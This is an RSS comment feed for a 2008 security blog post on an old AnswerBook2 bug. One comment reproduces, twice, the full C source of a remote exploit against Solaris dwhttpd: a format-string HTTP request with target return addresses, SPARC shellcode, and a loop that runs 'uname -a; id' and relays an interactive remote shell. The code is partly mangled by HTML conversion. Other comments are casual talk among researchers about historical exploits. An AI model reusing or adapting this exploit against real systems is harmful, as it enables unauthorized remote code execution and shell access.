<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
		>
<channel>
	<title>Comments on: Dead Bugs Society: Introduction and AnswerBook2</title>
	<atom:link href="http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/feed/" rel="self" type="application/rss+xml" />
	<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/</link>
	<description>4888 C3C4 099A 4240 9648  719B 84E0 A6FE 32AE 38F6</description>
	<lastBuildDate>Mon, 02 May 2011 23:50:01 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
	<item>
		<title>By: Dino Dai Zovi</title>
		<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/#comment-131</link>
		<dc:creator><![CDATA[Dino Dai Zovi]]></dc:creator>
		<pubDate>Fri, 22 Aug 2008 03:06:12 +0000</pubDate>
		<guid isPermaLink="false">http://trailofbits.wordpress.com/?p=19#comment-131</guid>
		<description><![CDATA[@JohnMcDonald

Awesome!  I&#039;m glad you had fun with that bug also.  It&#039;s nice to let some of the old code see the light of day.  Maybe we could make an exploit museum someday...]]></description>
		<content:encoded><![CDATA[<p>@JohnMcDonald</p>
<p>Awesome!  I&#8217;m glad you had fun with that bug also.  It&#8217;s nice to let some of the old code see the light of day.  Maybe we could make an exploit museum someday&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: John McDonald</title>
		<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/#comment-122</link>
		<dc:creator><![CDATA[John McDonald]]></dc:creator>
		<pubDate>Tue, 05 Aug 2008 23:44:28 +0000</pubDate>
		<guid isPermaLink="false">http://trailofbits.wordpress.com/?p=19#comment-122</guid>
		<description><![CDATA[I thought you&#039;d find this amusing. Proof that marginal minds think alike I think. ;&gt;

Don&#039;t have a timestamp on it, but it was around the same time.. ~2000/2001-ish I think. Don&#039;t know if this was the finished version.. looks like it probably wasn&#039;t.

/* 
 * Answerbook remote - horizon
 *
 * &quot;I have seen the enemy; he looks an awful lot like me.&quot;
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct arch
{
  int id;
  char *name;
  unsigned long addr;
};

struct arch archlist[] = 
{
  {1, &quot;Solaris 7 (0xff stack) / dwhttpd/4.0.2a7a&quot;, 0xfe509040},
  {2, &quot;Solaris 2.6            / dwhttpd/4.0.2a7a&quot;, 0xee909328},
  {0, 0, 0}
};

int arch;

#define SPARC_NOP 0xac15a16e

unsigned char sc[]=
{0x90,0x1a,0x40,0x9,0x92,0x1a,0x40,0x9,0x82,0x10,0x20,0x17,0x91,0xd0,0x20,0x8,0x90,0x1a,0x40,0x9,0x92,0x1a,0x40,0x9,0x82,0x10,0x20,0x8d,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x1a,0x80,0xa,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x10,0x20,0x1,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x10,0x20,0x2,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x2d,0xb,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0xb,0xdc,0xda,0x90,0xb,0x80,0xe,0x92,0x3,0xa0,0x8,0x94,0x1a,0x80,0xa,0x9c,0x3,0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x8,0x68,0x6f,0x72,0x69,0x7a,0x6f,0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

unsigned long getip(char *name)
{
  struct hostent *hp;
  unsigned long ip;

  if ((ip = inet_addr(name)) == -1) 
  {
    if ((hp = gethostbyname(name)) == NULL) 
    {
      fprintf(stderr, &quot;Cant resolve host.\n&quot;);
      exit(1);
    }
    memcpy(&amp;ip, (hp-&gt;h_addr), 4);
  }
  return ip;
}

int proxyloop(int s)
{
  char buf[8192];
  fd_set rset;
  int n;

  sleep(2);

  strcpy(buf, &quot;cd /; uname -a; pwd; id;\n&quot;);
  write(s, buf, strlen(buf));

  for (;;) 
  {
    FD_ZERO(&amp;rset);
    FD_SET(0,&amp;rset);
    FD_SET(s, &amp;rset);
    select(s+1, &amp;rset, NULL, NULL, NULL);
    if (FD_ISSET(0, &amp;rset)) 
    {
      if ((n=read(0,buf,sizeof(buf)))&lt;=0)
        exit(0);
      write(s, buf, n);
    }
    if (FD_ISSET(s, &amp;rset)) 
    {
      if ((n=read(s,buf,sizeof(buf)))&lt;=0) 
        exit(0);
      write(1, buf, n);
    }
  }
  return 0;
}

int conn(unsigned long server, unsigned short port)
{
  int s;
  struct sockaddr_in sa;

  bzero(&amp;sa, sizeof(sa));

  sa.sin_family=AF_INET;
  sa.sin_port=htons(port);
  sa.sin_addr.s_addr=server;

  if ((s=socket(AF_INET,SOCK_STREAM,0))==-1) 
  {
    perror(&quot;socket&quot;);
    exit(42);
  }

  if (connect(s, (struct sockaddr *)&amp;sa, sizeof (sa))==-1)
  {
    perror(&quot;connect&quot;);
    exit(42);
  }
  return s;
}

int main(int argc, char **argv)
{
  int i,s,offset;
  char buf[8192];
  unsigned long nop=SPARC_NOP;
  char *walker;

  if (argc&lt;2)
  {
    fprintf(stderr,&quot;Usage: %s arch hostname\n&quot;,argv[0]);
    fprintf(stderr,&quot;Available architectures:\n&quot;);
    i=-1;
    while (archlist[++i].id)
      fprintf(stderr,&quot;  %d: %s\n&quot;,archlist[i].id,archlist[i].name);
    exit(1);
  }

  arch=atoi(argv[1])-1;

  s=conn(getip(argv[2]),8888);

  strcpy(buf,&quot;GET %3800u&quot;);

  walker=&amp;(buf[strlen(buf)]);

  for (i=0;i&gt;24)&amp;255);
    *walker++=((archlist[arch].addr&gt;&gt;16)&amp;255);
    *walker++=((archlist[arch].addr&gt;&gt;8)&amp;255);
    *walker++=((archlist[arch].addr)&amp;255);
  }

  strcpy(walker, &quot; HTTP/1.0\r\n&quot;);

  write(s, buf, strlen(buf));
  buf[0]=&#039;A&#039;;
  buf[1]=&#039;A&#039;;
  buf[2]=&#039;A&#039;;
  walker=buf+3;
  for (i=0;i&gt;24)&amp;255);
    *walker++=((SPARC_NOP&gt;&gt;16)&amp;255);
    *walker++=((SPARC_NOP&gt;&gt;8)&amp;255);
    *walker++=((SPARC_NOP)&amp;255);
  }

  sprintf(walker,&quot;%s\r\n\r\n&quot;,sc);
  write(s, buf, strlen(buf));
  proxyloop(s);
}]]></description>
		<content:encoded><![CDATA[<p>I thought you&#8217;d find this amusing. Proof that marginal minds think alike I think. ;&gt;</p>
<p>Don&#8217;t have a timestamp on it, but it was around the same time.. ~2000/2001-ish I think. Don&#8217;t know if this was the finished version.. looks like it probably wasn&#8217;t.</p>
<p>/*<br />
 * Answerbook remote &#8211; horizon<br />
 *<br />
 * &#8220;I have seen the enemy; he looks an awful lot like me.&#8221;<br />
 */</p>
<p>#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include </p>
<p>struct arch<br />
{<br />
  int id;<br />
  char *name;<br />
  unsigned long addr;<br />
};</p>
<p>struct arch archlist[] =<br />
{<br />
  {1, &#8220;Solaris 7 (0xff stack) / dwhttpd/4.0.2a7a&#8221;, 0xfe509040},<br />
  {2, &#8220;Solaris 2.6            / dwhttpd/4.0.2a7a&#8221;, 0xee909328},<br />
  {0, 0, 0}<br />
};</p>
<p>int arch;</p>
<p>#define SPARC_NOP 0xac15a16e</p>
<p>unsigned char sc[]=<br />
{0&#215;90,0x1a,0&#215;40,0&#215;9,0&#215;92,0x1a,0&#215;40,0&#215;9,0&#215;82,0&#215;10,0&#215;20,0&#215;17,0&#215;91,0xd0,0&#215;20,0&#215;8,0&#215;90,0x1a,0&#215;40,0&#215;9,0&#215;92,0x1a,0&#215;40,0&#215;9,0&#215;82,0&#215;10,0&#215;20,0x8d,0&#215;91,0xd0,0&#215;20,0&#215;8,0&#215;90,0&#215;10,0&#215;20,0&#215;9,0&#215;92,0&#215;10,0&#215;20,0&#215;9,0&#215;94,0x1a,0&#215;80,0xa,0&#215;82,0&#215;10,0&#215;20,0x3e,0&#215;91,0xd0,0&#215;20,0&#215;8,0&#215;90,0&#215;10,0&#215;20,0&#215;9,0&#215;92,0&#215;10,0&#215;20,0&#215;9,0&#215;94,0&#215;10,0&#215;20,0&#215;1,0&#215;82,0&#215;10,0&#215;20,0x3e,0&#215;91,0xd0,0&#215;20,0&#215;8,0&#215;90,0&#215;10,0&#215;20,0&#215;9,0&#215;92,0&#215;10,0&#215;20,0&#215;9,0&#215;94,0&#215;10,0&#215;20,0&#215;2,0&#215;82,0&#215;10,0&#215;20,0x3e,0&#215;91,0xd0,0&#215;20,0&#215;8,0x2d,0xb,0xd8,0x9a,0xac,0&#215;15,0xa1,0x6e,0x2f,0xb,0xdc,0xda,0&#215;90,0xb,0&#215;80,0xe,0&#215;92,0&#215;3,0xa0,0&#215;8,0&#215;94,0x1a,0&#215;80,0xa,0x9c,0&#215;3,0xa0,0&#215;10,0xec,0x3b,0xbf,0xf0,0xdc,0&#215;23,0xbf,0xf8,0xc0,0&#215;23,0xbf,0xfc,0&#215;82,0&#215;10,0&#215;20,0x3b,0&#215;91,0xd0,0&#215;20,0&#215;8,0&#215;68,0x6f,0&#215;72,0&#215;69,0x7a,0x6f,0x6e,0x5b,0&#215;41,0&#215;44,0x4d,0x5d,0&#215;31,0&#215;30,0x2f,0&#215;39,0&#215;39,0&#215;0};</p>
<p>unsigned long getip(char *name)<br />
{<br />
  struct hostent *hp;<br />
  unsigned long ip;</p>
<p>  if ((ip = inet_addr(name)) == -1)<br />
  {<br />
    if ((hp = gethostbyname(name)) == NULL)<br />
    {<br />
      fprintf(stderr, &#8220;Cant resolve host.\n&#8221;);<br />
      exit(1);<br />
    }<br />
    memcpy(&amp;ip, (hp-&gt;h_addr), 4);<br />
  }<br />
  return ip;<br />
}</p>
<p>int proxyloop(int s)<br />
{<br />
  char buf[8192];<br />
  fd_set rset;<br />
  int n;</p>
<p>  sleep(2);</p>
<p>  strcpy(buf, &#8220;cd /; uname -a; pwd; id;\n&#8221;);<br />
  write(s, buf, strlen(buf));</p>
<p>  for (;;)<br />
  {<br />
    FD_ZERO(&amp;rset);<br />
    FD_SET(0,&amp;rset);<br />
    FD_SET(s, &amp;rset);<br />
    select(s+1, &amp;rset, NULL, NULL, NULL);<br />
    if (FD_ISSET(0, &amp;rset))<br />
    {<br />
      if ((n=read(0,buf,sizeof(buf)))&lt;=0)<br />
        exit(0);<br />
      write(s, buf, n);<br />
    }<br />
    if (FD_ISSET(s, &amp;rset))<br />
    {<br />
      if ((n=read(s,buf,sizeof(buf)))&lt;=0)<br />
        exit(0);<br />
      write(1, buf, n);<br />
    }<br />
  }<br />
  return 0;<br />
}</p>
<p>int conn(unsigned long server, unsigned short port)<br />
{<br />
  int s;<br />
  struct sockaddr_in sa;</p>
<p>  bzero(&amp;sa, sizeof(sa));</p>
<p>  sa.sin_family=AF_INET;<br />
  sa.sin_port=htons(port);<br />
  sa.sin_addr.s_addr=server;</p>
<p>  if ((s=socket(AF_INET,SOCK_STREAM,0))==-1)<br />
  {<br />
    perror(&#8220;socket&#8221;);<br />
    exit(42);<br />
  }</p>
<p>  if (connect(s, (struct sockaddr *)&amp;sa, sizeof (sa))==-1)<br />
  {<br />
    perror(&#8220;connect&#8221;);<br />
    exit(42);<br />
  }<br />
  return s;<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
  int i,s,offset;<br />
  char buf[8192];<br />
  unsigned long nop=SPARC_NOP;<br />
  char *walker;</p>
<p>  if (argc&lt;2)<br />
  {<br />
    fprintf(stderr,&#8221;Usage: %s arch hostname\n&#8221;,argv[0]);<br />
    fprintf(stderr,&#8221;Available architectures:\n&#8221;);<br />
    i=-1;<br />
    while (archlist[++i].id)<br />
      fprintf(stderr,&#8221;  %d: %s\n&#8221;,archlist[i].id,archlist[i].name);<br />
    exit(1);<br />
  }</p>
<p>  arch=atoi(argv[1])-1;</p>
<p>  s=conn(getip(argv[2]),8888);</p>
<p>  strcpy(buf,&#8221;GET %3800u&#8221;);</p>
<p>  walker=&amp;(buf[strlen(buf)]);</p>
<p>  for (i=0;i&gt;24)&amp;255);<br />
    *walker++=((archlist[arch].addr&gt;&gt;16)&amp;255);<br />
    *walker++=((archlist[arch].addr&gt;&gt;8)&amp;255);<br />
    *walker++=((archlist[arch].addr)&amp;255);<br />
  }</p>
<p>  strcpy(walker, &#8221; HTTP/1.0\r\n&#8221;);</p>
<p>  write(s, buf, strlen(buf));<br />
  buf[0]=&#8217;A';<br />
  buf[1]=&#8217;A';<br />
  buf[2]=&#8217;A';<br />
  walker=buf+3;<br />
  for (i=0;i&gt;24)&amp;255);<br />
    *walker++=((SPARC_NOP&gt;&gt;16)&amp;255);<br />
    *walker++=((SPARC_NOP&gt;&gt;8)&amp;255);<br />
    *walker++=((SPARC_NOP)&amp;255);<br />
  }</p>
<p>  sprintf(walker,&#8221;%s\r\n\r\n&#8221;,sc);<br />
  write(s, buf, strlen(buf));<br />
  proxyloop(s);<br />
}</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Nate McFeters</title>
		<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/#comment-76</link>
		<dc:creator><![CDATA[Nate McFeters]]></dc:creator>
		<pubDate>Tue, 24 Jun 2008 01:48:56 +0000</pubDate>
		<guid isPermaLink="false">http://trailofbits.wordpress.com/?p=19#comment-76</guid>
		<description><![CDATA[I love this type of shit.  I always loved the this old bug by Matasano.  I&#039;m working on incorporating some of this into my blog too, may want to bounced some ideas off you on getting some of my Apple PoC&#039;s to fully working pwnabilitiy.

-Nate]]></description>
		<content:encoded><![CDATA[<p>I love this type of shit.  I always loved the this old bug by Matasano.  I&#8217;m working on incorporating some of this into my blog too, may want to bounced some ideas off you on getting some of my Apple PoC&#8217;s to fully working pwnabilitiy.</p>
<p>-Nate</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dino Dai Zovi</title>
		<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/#comment-26</link>
		<dc:creator><![CDATA[Dino Dai Zovi]]></dc:creator>
		<pubDate>Mon, 09 Jun 2008 03:51:17 +0000</pubDate>
		<guid isPermaLink="false">http://trailofbits.wordpress.com/?p=19#comment-26</guid>
		<description><![CDATA[@xyz There is now a &quot;Meta&quot; box on the main page with links to RSS feeds.]]></description>
		<content:encoded><![CDATA[<p>@xyz There is now a &#8220;Meta&#8221; box on the main page with links to RSS feeds.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: xyz</title>
		<link>http://trailofbits.com/2008/06/08/dead-bugs-society-introduction-and-answerbook2/#comment-25</link>
		<dc:creator><![CDATA[xyz]]></dc:creator>
		<pubDate>Mon, 09 Jun 2008 03:42:51 +0000</pubDate>
		<guid isPermaLink="false">http://trailofbits.wordpress.com/?p=19#comment-25</guid>
		<description><![CDATA[Can u publish a feed for your blog?  Thx.]]></description>
		<content:encoded><![CDATA[<p>Can u publish a feed for your blog?  Thx.</p>
]]></content:encoded>
	</item>
</channel>
</rss>

